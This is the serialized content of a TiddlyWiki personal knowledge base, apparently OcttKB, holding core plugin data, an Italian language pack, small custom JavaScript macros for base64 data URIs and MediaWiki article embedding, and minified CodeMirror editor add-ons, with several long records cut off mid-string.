<p>If you're reading this, then your browser isn't executing JavaScript code (properly, or at all).</p><p>If you disabled JS on purpose, you may want to read the <strong>no-JS KB</strong>: <aclass="tc-tiddlylink-external"href="./Static.html"rel="noopener noreferrer"target="_blank">./Static.html</a>;</p><p>If you, instead, don't know why you're seeing this:</p><ul><li><aclass="tc-tiddlylink-external"href="http://web.archive.org/web/20220920042154/https://www.enable-javascript.com"rel="noopener noreferrer"target="_blank">Enable JavaScript</a>, if you have it disabled;</li><li>Update your browser, if it's years out-of-date.</li></ul>
{"created":"20230110211056385","title":"$:/Config/OcttKB/Tweaks/Starlight/.tc-story-river Padding","text":"20px 20px 20px 20px","modified":"20230110230321263"},
{"title":"$:/core","name":"Core","description":"TiddlyWiki5 core","author":"JeremyRuston","core-version":">=5.0.0","plugin-priority":"0","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/Acknowledgements\":{\"title\":\"$:/Acknowledgements\",\"text\":\"TiddlyWiki incorporates code from these fine OpenSource projects:\\n\\n* [[The Stanford Javascript Crypto Library|http://bitwiseshiftleft.github.io/sjcl/]]\\n* [[The Jasmine JavaScript Test Framework|http://pivotal.github.io/jasmine/]]\\n* [[Normalize.css by Nicolas Gallagher|http://necolas.github.io/normalize.css/]]\\n\\nAnd media from these projects:\\n\\n* World flag icons from [[Wikipedia|http://commons.wikimedia.org/wiki/Category:SVG_flags_by_country]]\\n\"},\"$:/core/copyright.txt\":{\"title\":\"$:/core/copyright.txt\",\"type\":\"text/plain\",\"text\":\"TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)\\n\\nCopyright (c) 2004-2007, Jeremy Ruston\\nCopyright (c) 2007-2022, UnaMesa Association\\nAll rights reserved.\\n\\nRedistribution and use in source and binary forms, with or without\\nmodification, are permitted provided that the following conditions are met:\\n\\n* Redistributions of source code must retain the above copyright notice, this\\n list of conditions and the following disclaimer.\\n\\n* Redistributions in binary form must reproduce the above copyright notice,\\n this list of conditions and the following disclaimer in the documentation\\n and/or other materials provided with the distribution.\\n\\n* Neither the name of the copyright holder nor the names of its\\n contributors may be used to endorse or promote products derived from\\n this software without specific prior written permission.\\n\\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'\\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\"},\"$:/core/icon\":{\"title\":\"$:/core/icon\",\"tags\":\"$:/tags/Image\",\"text\":\"\u003Csvg width=\\\"22pt\\\" height=\\\"22pt\\\" viewBox=\\\"0 0 128 128\\\">\u003Cpath d=\\\"M64 0l54.56 32v64L64 128 9.44 96V32L64 0zm21.127 95.408c-3.578-.103-5.15-.094-6.974-3.152l-1.42.042c-1.653-.075-.964-.04-2.067-.097-1.844-.07-1.548-1.86-1.873-2.8-.52-3.202.687-6.43.65-9.632-.014-1.14-1.593-5.17-2.157-6.61-1.768.34-3.546.406-5.34.497-4.134-.01-8.24-.527-12.317-1.183-.8 3.35-3.16 8.036-1.21 11.44 2.37 3.52 4.03 4.495 6.61 4.707 2.572.212 3.16 3.18 2.53 4.242-.55.73-1.52.864-2.346 1.04l-1.65.08c-1.296-.046-2.455-.404-3.61-.955-1.93-1.097-3.925-3.383-5.406-5.024.345.658.55 1.938.24 2.53-.878 1.27-4.665 1.26-6.4.47-1.97-.89-6.73-7.162-7.468-11.86 1.96-3.78 4.812-7.07 6.255-11.186-3.146-2.05-4.83-5.384-4.61-9.16l.08-.44c-3.097.59-1.49.37-4.82.628-10.608-.032-19.935-7.37-14.68-18.774.34-.673.664-1.287 1.243-.994.466.237.4 1.18.166 2.227-3.005 13.627 11.67 13.732 20.69 11.21.89-.25 2.67-1.936 3.905-2.495 2.016-.91 4.205-1.282 6.376-1.55 5.4-.63 11.893 2.276 15.19 2.37 3.3.096 7.99-.805 10.87-.615 2.09.098 4.143.483 6.16 1.03 1.306-6.49 1.4-11.27 4.492-12.38 1.814.293 3.213 2.818 4.25 4.167 2.112-.086 4.12.46 6.115 1.066 3.61-.522 6.642-2.593 9.833-4.203-3.234 2.69-3.673 7.075-3.303 11.127.138 2.103-.444 4.386-1.164 6.54-1.348 3.507-3.95 7.204-6.97 7.014-1.14-.036-1.805-.695-2.653-1.4-.164 1.427-.81 2.7-1.434 3.96-1.44 2.797-5.203 4.03-8.687 7.016-3.484 2.985 1.114 13.65 2.23 15.594 1.114 1.94 4.226 2.652 3.02 4.406-.3
{"created":"20220920140954764","text":"\u003C!-- For search engines, and people without JavaScript --->\n \nIf you're reading this, then your browser isn't executing JavaScript code (properly, or at all).\n\nIf you disabled JS on purpose, you may want to read the ''no-JS KB'': [ext[./Static.html]];\n\nIf you, instead, don't know why you're seeing this:\n\n* [[Enable JavaScript|http://web.archive.org/web/20220920042154/https://www.enable-javascript.com]], if you have it disabled;\n* Update your browser, if it's years out-of-date.\n\n\u003C!--\n\u003Cbr>\u003Chr>\u003Cbr>\n\n//The following is a preview of the Welcome Page.//\n\n{{~Welcome~}}\n--->\n\n\u003C!-- Old template\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n\u003Cul>\n\u003C$list filter=\u003C\u003CsaveTiddlerFilter>>>\n\u003Cli>\u003C$view field=\"title\" format=\"text\">\u003C/$view>\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->","title":"$:/core/templates/static.content","modified":"20220924193531494"},
{"title":"$:/languages/it-IT","name":"it-IT","plugin-type":"language","description":"Italian (Italy)","author":"MaurizioPollio","core-version":">=5.0.8","version":"5.2.3","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/language/Buttons/AdvancedSearch/Caption\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Caption\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/AdvancedSearch/Hint\":{\"title\":\"$:/language/Buttons/AdvancedSearch/Hint\",\"text\":\"Ricerca avanzata\"},\"$:/language/Buttons/Cancel/Caption\":{\"title\":\"$:/language/Buttons/Cancel/Caption\",\"text\":\"Annulla\"},\"$:/language/Buttons/Cancel/Hint\":{\"title\":\"$:/language/Buttons/Cancel/Hint\",\"text\":\"Annulla i cambiamenti a questo frammento\"},\"$:/language/Buttons/Clone/Caption\":{\"title\":\"$:/language/Buttons/Clone/Caption\",\"text\":\"Clona\"},\"$:/language/Buttons/Clone/Hint\":{\"title\":\"$:/language/Buttons/Clone/Hint\",\"text\":\"Clona questo frammento\"},\"$:/language/Buttons/Close/Caption\":{\"title\":\"$:/language/Buttons/Close/Caption\",\"text\":\"Chiudi\"},\"$:/language/Buttons/Close/Hint\":{\"title\":\"$:/language/Buttons/Close/Hint\",\"text\":\"Chiudi questo frammento\"},\"$:/language/Buttons/CloseAll/Caption\":{\"title\":\"$:/language/Buttons/CloseAll/Caption\",\"text\":\"Chiudi tutti\"},\"$:/language/Buttons/CloseAll/Hint\":{\"title\":\"$:/language/Buttons/CloseAll/Hint\",\"text\":\"Chiudi tutti i frammenti\"},\"$:/language/Buttons/CloseOthers/Caption\":{\"title\":\"$:/language/Buttons/CloseOthers/Caption\",\"text\":\"Chiudi altri\"},\"$:/language/Buttons/CloseOthers/Hint\":{\"title\":\"$:/language/Buttons/CloseOthers/Hint\",\"text\":\"Chiudi gli altri frammenti\"},\"$:/language/Buttons/ControlPanel/Caption\":{\"title\":\"$:/language/Buttons/ControlPanel/Caption\",\"text\":\"Pannello di controllo\"},\"$:/language/Buttons/ControlPanel/Hint\":{\"title\":\"$:/language/Buttons/ControlPanel/Hint\",\"text\":\"Apri il pannello di controllo\"},\"$:/language/Buttons/Delete/Caption\":{\"title\":\"$:/language/Buttons/Delete/Caption\",\"text\":\"Elimina\"},\"$:/language/Buttons/Delete/Hint\":{\"title\":\"$:/language/Buttons/Delete/Hint\",\"text\":\"Elimina questo frammento\"},\"$:/language/Buttons/Edit/Caption\":{\"title\":\"$:/language/Buttons/Edit/Caption\",\"text\":\"Modifica\"},\"$:/language/Buttons/Edit/Hint\":{\"title\":\"$:/language/Buttons/Edit/Hint\",\"text\":\"Modifica questo frammento\"},\"$:/language/Buttons/Encryption/Caption\":{\"title\":\"$:/language/Buttons/Encryption/Caption\",\"text\":\"Cifratura\"},\"$:/language/Buttons/Encryption/ClearPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Caption\",\"text\":\"Rimuovi password\"},\"$:/language/Buttons/Encryption/ClearPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/ClearPassword/Hint\",\"text\":\"Rimuovi la password e salva questo wiki senza cifrarlo\"},\"$:/language/Buttons/Encryption/Hint\":{\"title\":\"$:/language/Buttons/Encryption/Hint\",\"text\":\"Imposta o rimuovi la password per salvare questo wiki\"},\"$:/language/Buttons/Encryption/SetPassword/Caption\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Caption\",\"text\":\"Imposta password\"},\"$:/language/Buttons/Encryption/SetPassword/Hint\":{\"title\":\"$:/language/Buttons/Encryption/SetPassword/Hint\",\"text\":\"Imposta una password per salvare questo wiki con cifratura\"},\"$:/language/Buttons/ExportPage/Caption\":{\"title\":\"$:/language/Buttons/ExportPage/Caption\",\"text\":\"Esporta tutti\"},\"$:/language/Buttons/ExportPage/Hint\":{\"title\":\"$:/language/Buttons/ExportPage/Hint\",\"text\":\"Esporta tutti i frammenti\"},\"$:/language/Buttons/ExportTiddler/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddler/Caption\",\"text\":\"Esporta frammento\"},\"$:/language/Buttons/ExportTiddler/Hint\":{\"title\":\"$:/language/Buttons/ExportTiddler/Hint\",\"text\":\"Esporta questo frammento\"},\"$:/language/Buttons/ExportTiddlers/Caption\":{\"title\":\"$:/language/Buttons/ExportTiddlers/Caption\",\"text\":\"Esporta i frammenti\"},\"$:/language/Button
{"created":"20221109224522256","text":"/*\\\nReturn the content of a tiddler encoded as [[Base64]] and encapsulated in a data URI.\n\u003C\u003Cb64TidUriEnc \"Tiddler Name\">>\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"b64TidUriEnc\";\nexports.params = [\n\t{name: \"Name\"}\n];\n\nexports.run = function(Name) {\n\ttry {\n\t\tlet Tid = $tw.wiki.getTiddler(Name);\n\t\tlet Type = Tid.fields.type || \"text/vnd.tiddlywiki\";\n\t\tlet Data = $tw.utils.base64Encode(Tid.fields.text);\n\t\treturn \"data:\" + Type + \";base64,\" + Data;\n\t} catch(e) {\n\t\treturn e;\n\t};\n};\n})();","tags":"","title":"$:/Macros/b64TidUriEnc.js","modified":"20221110153303563","type":"application/javascript","module-type":"macro"},
{"created":"20230108190340455","text":"/*\\\nSee [[$:/Macros/MediaWiki]] for usage of this macro.\nNote: source must always be credited, and thus it's not ideal to use this macro directly. Please use the \u003C\u003CMediaWiki>> wrapper macro instead, as it provides a link to the source automatically. (This feature is implemented in its own non-JS macro to make at least the URL show on static wiki exports.)\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiEmbedInternal\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"Sections\"}\n];\n\nexports.run = function(Article, Domain, Sections) {\ntry {\n let Text;\n Sections = parseInt(Sections) || 0;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&formatversion=2&prop=extracts&format=json&origin=*&titles=' + Article, false);\n Req.send();\n Text = JSON.parse(Req.responseText).query.pages[0].extract;\n if (!Text) {\n Text = '\u003Cp>An error occurred while trying to extract the content. Close and reopen this \u003Ci>tiddler\u003C/i> to retry, or click the link to open the source in a new tab.\u003C/p>'\n };\n Text = Text.replaceAllTxt('\\n', '').replaceAllTxt('\u003Cp class=\"mw-empty-elt\">\u003C/p>', '');\n if (Sections != 0) {\n for (let i=1; i\u003C=6; i++) {\n Text = Text.replaceAllTxt(`\u003C/p>\u003Ch${i}>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\\n\u003Ch${i}>`);\n };\n Text = Text.replaceAllTxt(`\u003C/p>\u003Cp>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\u003Cp>`);\n //Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max+1).join('');\n //Text = Text.split('\u003Cp>').slice(0, Max+1).join('\u003Cp>');\n if (Sections \u003C 0) {\n Sections = 0;\n };\n Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Sections).join('');\n //Text += '\u003Cp>[...]\u003C/p>'\n };\n/*\n Sections = Sections.split(' ');\n for (let i=0; i\u003CSections.length; i++) {\n const Sec = Sections[i];\n if (Sec) {\n const Ind = Sec.toLowerCase()[0];\n const Val = Sec.substring(1);\n if (Ind == 'p' || Ind == 's') {\n if (Ind == 'p') {\n const Sep = '\u003C!--:PARAGRAPH:--->';\n } else \n if (Ind == 's') {\n const Sep = '\u003C!--:SECTION:--->';\n };\n Text = Text.split(Sep).slice(0, Val).join('');\n } else\n if (Ind == '#') {\n \n };\n };\n };\n*/\n return Text;\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/EmbedInternal.js","modified":"20230112200938331","type":"application/javascript","module-type":"macro"},
{"created":"20230112221909714","modified":"20230112221909714","title":"$:/OcttKB/StaticBanner","text":"\u003Cdiv style=\"Padding-Left:16px; Padding-Right:16px;\">\n\u003Ch1 class=\"tc-site-title\">\n\u003Ca class=\"tc-tiddlylink tc-tiddlylink-missing\" >OcttKB\u003C/a>\n\u003C/h1>\n\u003Cdiv class=\"tc-site-subtitle\">\nOctt Knowledge Base || Powered by [[TiddlyWiki|TiddlyWiki:en]].\u003C/div>\n\u003Cp>\n\u003Cb>Note\u003C/b>: You're viewing the no-JS version of this site, some features will be missing. For the best experience, \u003Ca href=\"./\">load the full version\u003C/a>.\n\u003C/p>\n\u003C/div>","tags":""},
{"created":"20221109143855804","text":"The plugin library for the latest and greatest plugins from [ext[tobibeer/plugins|https://tobibeer.github.io/tw5-plugins]]; officially released versions of plugins by [ext[tobibeer|https://github.com/tobibeer]].","bag":"default","revision":"0","url":"https://tobibeer.github.io/tw5-plugins/library/index.html","title":"$:/pluginlibrary/tobibeer/official","tags":"$:/tags/PluginLibrary","modifier":"Tobias Beer","modified":"20221109143900702","caption":"Official Plugin Library by Tobias Beer"},
{"title":"$:/plugins/tiddlywiki/codemirror-autocomplete","name":"CodeMirror Autocomplete","description":"Autocompletion for CodeMirror","parent-plugin":"$:/plugins/tiddlywiki/codemirror","dependents":"$:/plugins/tiddlywiki/codemirror-mode-css","list":"readme","version":"5.2.3","plugin-type":"plugin","type":"application/json","text":"{\"tiddlers\":{\"$:/config/codemirror/autocomplete\":{\"title\":\"$:/config/codemirror/autocomplete\",\"extend\":\"extraKeys\",\"type\":\"json\",\"text\":\"{\\n\\t\\\"Ctrl-Space\\\": \\\"autocomplete\\\"\\n}\"},\"$:/plugins/tiddlywiki/codemirror/addon/hint/anyword-hint.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\"],e):e(CodeMirror)}(function(y){\\\"use strict\\\";var b=/[\\\\w$]+/;y.registerHelper(\\\"hint\\\",\\\"anyword\\\",function(e,r){for(var t=r&&r.word||b,o=r&&r.range||500,i=e.getCursor(),n=e.getLine(i.line),f=i.ch,s=f;s&&t.test(n.charAt(s-1));)--s;for(var a=s!=f&&n.slice(s,f),c=r&&r.list||[],l={},d=new RegExp(t.source,\\\"g\\\"),u=-1;u\u003C=1;u+=2)for(var p=i.line,g=Math.min(Math.max(p+u*o,e.firstLine()),e.lastLine())+u;p!=g;p+=u)for(var h,m=e.getLine(p);h=d.exec(m);)p==i.line&&h[0]===a||a&&0!=h[0].lastIndexOf(a,0)||Object.prototype.hasOwnProperty.call(l,h[0])||(l[h[0]]=!0,c.push(h[0]));return{list:c,from:y.Pos(i.line,s),to:y.Pos(i.line,f)}})});\\n\",\"type\":\"application/javascript\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/hint/anyword-hint.js\",\"module-type\":\"codemirror\"},\"$:/plugins/tiddlywiki/codemirror/addon/hint/css-hint.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\"),require(\\\"../../mode/css/css\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\",\\\"../../mode/css/css\\\"],e):e(CodeMirror)}(function(f){\\\"use strict\\\";var p={active:1,after:1,before:1,checked:1,default:1,disabled:1,empty:1,enabled:1,\\\"first-child\\\":1,\\\"first-letter\\\":1,\\\"first-line\\\":1,\\\"first-of-type\\\":1,focus:1,hover:1,\\\"in-range\\\":1,indeterminate:1,invalid:1,lang:1,\\\"last-child\\\":1,\\\"last-of-type\\\":1,link:1,not:1,\\\"nth-child\\\":1,\\\"nth-last-child\\\":1,\\\"nth-last-of-type\\\":1,\\\"nth-of-type\\\":1,\\\"only-of-type\\\":1,\\\"only-child\\\":1,optional:1,\\\"out-of-range\\\":1,placeholder:1,\\\"read-only\\\":1,\\\"read-write\\\":1,required:1,root:1,selection:1,target:1,valid:1,visited:1};f.registerHelper(\\\"hint\\\",\\\"css\\\",function(e){var t=e.getCursor(),r=e.getTokenAt(t),o=f.innerMode(e.getMode(),r.state);if(\\\"css\\\"==o.mode.name){if(\\\"keyword\\\"==r.type&&0==\\\"!important\\\".indexOf(r.string))return{list:[\\\"!important\\\"],from:f.Pos(t.line,r.start),to:f.Pos(t.line,r.end)};var i=r.start,s=t.ch,n=r.string.slice(0,s-i);/[^\\\\w$_-]/.test(n)&&(n=\\\"\\\",i=s=t.ch);var a=f.resolveMode(\\\"text/css\\\"),d=[],l=o.state.state;return\\\"pseudo\\\"==l||\\\"variable-3\\\"==r.type?c(p):\\\"block\\\"==l||\\\"maybeprop\\\"==l?c(a.propertyKeywords):\\\"prop\\\"==l||\\\"parens\\\"==l||\\\"at\\\"==l||\\\"params\\\"==l?(c(a.valueKeywords),c(a.colorKeywords)):\\\"media\\\"!=l&&\\\"media_parens\\\"!=l||(c(a.mediaTypes),c(a.mediaFeatures)),d.length?{list:d,from:f.Pos(t.line,i),to:f.Pos(t.line,s)}:void 0}function c(e){for(var t in e)n&&0!=t.lastIndexOf(n,0)||d.push(t)}})});\\n\",\"type\":\"application/javascript\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/hint/css-hint.js\",\"module-type\":\"codemirror\"},\"$:/plugins/tiddlywiki/codemirror/addon/hint/html-hint.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n
{"title":"$:/plugins/tiddlywiki/codemirror-closetag","name":"CodeMirror Close Tag","description":"Close tags automatically for CodeMirror","parent-plugin":"$:/plugins/tiddlywiki/codemirror","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/config/codemirror/autoCloseTags\":{\"title\":\"$:/config/codemirror/autoCloseTags\",\"type\":\"bool\",\"text\":\"true\\n\"},\"$:/language/codemirror/autoCloseTags/hint\":{\"title\":\"$:/language/codemirror/autoCloseTags/hint\",\"text\":\"Auto-close tags\"},\"$:/language/codemirror/autoCloseTags/info\":{\"title\":\"$:/language/codemirror/autoCloseTags/info\",\"text\":\"Whether or not to automatically close tags\"},\"$:/plugins/tiddlywiki/codemirror/addon/fold/xml-fold.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\"],e):e(CodeMirror)}(function(e){\\\"use strict\\\";var l=e.Pos;function c(e,n){return e.line-n.line||e.ch-n.ch}var n=\\\"A-Z_a-z\\\\\\\\u00C0-\\\\\\\\u00D6\\\\\\\\u00D8-\\\\\\\\u00F6\\\\\\\\u00F8-\\\\\\\\u02FF\\\\\\\\u0370-\\\\\\\\u037D\\\\\\\\u037F-\\\\\\\\u1FFF\\\\\\\\u200C-\\\\\\\\u200D\\\\\\\\u2070-\\\\\\\\u218F\\\\\\\\u2C00-\\\\\\\\u2FEF\\\\\\\\u3001-\\\\\\\\uD7FF\\\\\\\\uF900-\\\\\\\\uFDCF\\\\\\\\uFDF0-\\\\\\\\uFFFD\\\",i=new RegExp(\\\"\u003C(/?)([\\\"+n+\\\"][A-Z_a-z\\\\\\\\u00C0-\\\\\\\\u00D6\\\\\\\\u00D8-\\\\\\\\u00F6\\\\\\\\u00F8-\\\\\\\\u02FF\\\\\\\\u0370-\\\\\\\\u037D\\\\\\\\u037F-\\\\\\\\u1FFF\\\\\\\\u200C-\\\\\\\\u200D\\\\\\\\u2070-\\\\\\\\u218F\\\\\\\\u2C00-\\\\\\\\u2FEF\\\\\\\\u3001-\\\\\\\\uD7FF\\\\\\\\uF900-\\\\\\\\uFDCF\\\\\\\\uFDF0-\\\\\\\\uFFFD-:.0-9\\\\\\\\u00B7\\\\\\\\u0300-\\\\\\\\u036F\\\\\\\\u203F-\\\\\\\\u2040]*)\\\",\\\"g\\\");function a(e,n,t,i){this.line=n,this.ch=t,this.cm=e,this.text=e.getLine(n),this.min=i?Math.max(i.from,e.firstLine()):e.firstLine(),this.max=i?Math.min(i.to-1,e.lastLine()):e.lastLine()}function s(e,n){var t=e.cm.getTokenTypeAt(l(e.line,n));return t&&/\\\\btag\\\\b/.test(t)}function r(e){return!(e.line>=e.max)&&(e.ch=0,e.text=e.cm.getLine(++e.line),1)}function h(e){return!(e.line\u003C=e.min)&&(e.text=e.cm.getLine(--e.line),e.ch=e.text.length,1)}function F(e){for(;;){var n=e.text.indexOf(\\\">\\\",e.ch);if(-1==n){if(r(e))continue;return}if(s(e,n+1)){var t=e.text.lastIndexOf(\\\"/\\\",n),i=-1\u003Ct&&!/\\\\S/.test(e.text.slice(t+1,n));return e.ch=n+1,i?\\\"selfClose\\\":\\\"regular\\\"}e.ch=n+1}}function x(e){for(;;){var n=e.ch?e.text.lastIndexOf(\\\"\u003C\\\",e.ch-1):-1;if(-1==n){if(h(e))continue;return}if(s(e,n+1)){i.lastIndex=n,e.ch=n;var t=i.exec(e.text);if(t&&t.index==n)return t}else e.ch=n}}function g(e){for(;;){i.lastIndex=e.ch;var n=i.exec(e.text);if(!n){if(r(e))continue;return}if(s(e,n.index+1))return e.ch=n.index+n[0].length,n;e.ch=n.index+1}}function v(e,n){for(var t=[];;){var i,r=g(e),u=e.line,f=e.ch-(r?r[0].length:0);if(!r||!(i=F(e)))return;if(\\\"selfClose\\\"!=i)if(r[1]){for(var o=t.length-1;0\u003C=o;--o)if(t[o]==r[2]){t.length=o;break}if(o\u003C0&&(!n||n==r[2]))return{tag:r[2],from:l(u,f),to:l(e.line,e.ch)}}else t.push(r[2])}}function d(e,n){for(var t=[];;){var i=function(e){for(;;){var n=e.ch?e.text.lastIndexOf(\\\">\\\",e.ch-1):-1;if(-1==n){if(h(e))continue;return}if(s(e,n+1)){var t=e.text.lastIndexOf(\\\"/\\\",n),i=-1\u003Ct&&!/\\\\S/.test(e.text.slice(t+1,n));return e.ch=n+1,i?\\\"selfClose\\\":\\\"regular\\\"}e.ch=n}}(e);if(!i)return;if(\\\"selfClose\\\"!=i){var r=e.line,u=e.ch,f=x(e);if(!f)return;if(f[1])t.push(f[2]);else{for(var o=t.length-1;0\u003C=o;--o)if(t[o]==f[2]){t.length=o;break}if(o\u003C0&&(!n||n==f[2]))return{tag:f[2],from:l(e.line,e.ch),to:l(r,u)}}}else x(e)}}e.registerHelper(\\\"fold\\\",\\\"xml\\\",function(e,n){for(var t=new a(e,n.line,0);;){var i=g(t);if(!i||t.line!=n.line)return;var r=F(t);if(!r)return;if(!i[1]&&\\\"s
{"title":"$:/plugins/tiddlywiki/codemirror-fullscreen","name":"CodeMirror Fullscreen","description":"Fullscreen editing for CodeMirror","parent-plugin":"$:/plugins/tiddlywiki/codemirror","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/config/codemirror/fullscreen\":{\"title\":\"$:/config/codemirror/fullscreen\",\"extend\":\"extraKeys\",\"type\":\"json\",\"text\":\"{\\n\\t\\\"F11\\\": \\\"togglefullscreen\\\"\\n}\"},\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.js\":{\"text\":\"// CodeMirror, copyright (c) by Marijn Haverbeke and others\\n// Distributed under an MIT license: https://codemirror.net/LICENSE\\n!function(e){\\\"object\\\"==typeof exports&&\\\"object\\\"==typeof module?e(require(\\\"../../lib/codemirror\\\")):\\\"function\\\"==typeof define&&define.amd?define([\\\"../../lib/codemirror\\\"],e):e(CodeMirror)}(function(i){\\\"use strict\\\";i.defineOption(\\\"fullScreen\\\",!1,function(e,t,o){var r,l;o==i.Init&&(o=!1),!o!=!t&&(t?(l=(r=e).getWrapperElement(),r.state.fullScreenRestore={scrollTop:window.pageYOffset,scrollLeft:window.pageXOffset,width:l.style.width,height:l.style.height},l.style.width=\\\"\\\",l.style.height=\\\"auto\\\",l.className+=\\\" CodeMirror-fullscreen\\\",document.documentElement.style.overflow=\\\"hidden\\\",r.refresh()):function(e){var t=e.getWrapperElement();t.className=t.className.replace(/\\\\s*CodeMirror-fullscreen\\\\b/,\\\"\\\"),document.documentElement.style.overflow=\\\"\\\";var o=e.state.fullScreenRestore;t.style.width=o.width,t.style.height=o.height,window.scrollTo(o.scrollLeft,o.scrollTop),e.refresh()}(e))})});\\n\",\"type\":\"application/javascript\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.js\",\"module-type\":\"codemirror\"},\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.css\":{\"text\":\".CodeMirror-fullscreen {\\n position: fixed;\\n top: 0; left: 0; right: 0; bottom: 0;\\n height: auto;\\n z-index: 9;\\n}\\n\",\"type\":\"text/css\",\"title\":\"$:/plugins/tiddlywiki/codemirror/addon/fullscreen/fullscreen.css\",\"tags\":\"[[$:/tags/Stylesheet]]\"},\"$:/plugins/tiddlywiki/codemirror-fullscreen/readme\":{\"title\":\"$:/plugins/tiddlywiki/codemirror-fullscreen/readme\",\"text\":\"This plugin adds a ''Fullscreen editing Mode'' to the [[CodeMirror|http://codemirror.net]] text editor. It needs the latest [[CodeMirror plugin|$:/plugins/tiddlywiki/codemirror]] to be installed\\n\\nPressing ''F11'' with the focus within the editor-textarea will make the editor go fullscreen, pressing ''F11'' again leaves fullscreen-mode\\n\\n\"}}}"},
{"title":"$:/plugins/tiddlywiki/github-fork-ribbon","name":"GitHub Fork Ribbon","description":"GitHub-inspired corner ribbon","author":"Simon Whitaker","list":"readme usage","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/github-fork-ribbon/readme\":{\"title\":\"$:/plugins/tiddlywiki/github-fork-ribbon/readme\",\"text\":\"This plugin provides a diagonal ribbon across the corner of the window. It resembles the design used by ~GitHub for their \\\"Fork me on ~GitHub\\\" ribbons.\\n\\nThe ribbon can be positioned over any corner, and can incorporate user defined text, colours and a link.\\n\\nThe CSS stylesheet is adapted from work by Simon Whitaker:\\n\\nhttps://github.com/simonwhitaker/github-fork-ribbon-css/\\n\\n[[Source code|https://github.com/Jermolene/TiddlyWiki5/blob/master/plugins/tiddlywiki/github-fork-ribbon]]\\n\"},\"$:/plugins/tiddlywiki/github-fork-ribbon/styles\":{\"title\":\"$:/plugins/tiddlywiki/github-fork-ribbon/styles\",\"tags\":\"[[$:/tags/Stylesheet]]\",\"text\":\"/* Left will inherit from right (so we don't need to duplicate code */\\n.github-fork-ribbon {\\n /* The right and left lasses determine the side we attach our banner to */\\n position: absolute;\\n\\n /* Add a bit of padding to give some substance outside the \\\"stitching\\\" */\\n padding: 2px 0;\\n\\n /* Set the base colour */\\n background-color: #a00;\\n\\n /* Set a gradient: transparent black at the top to almost-transparent black at the bottom */\\n background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.00)), to(rgba(0, 0, 0, 0.15)));\\n background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: 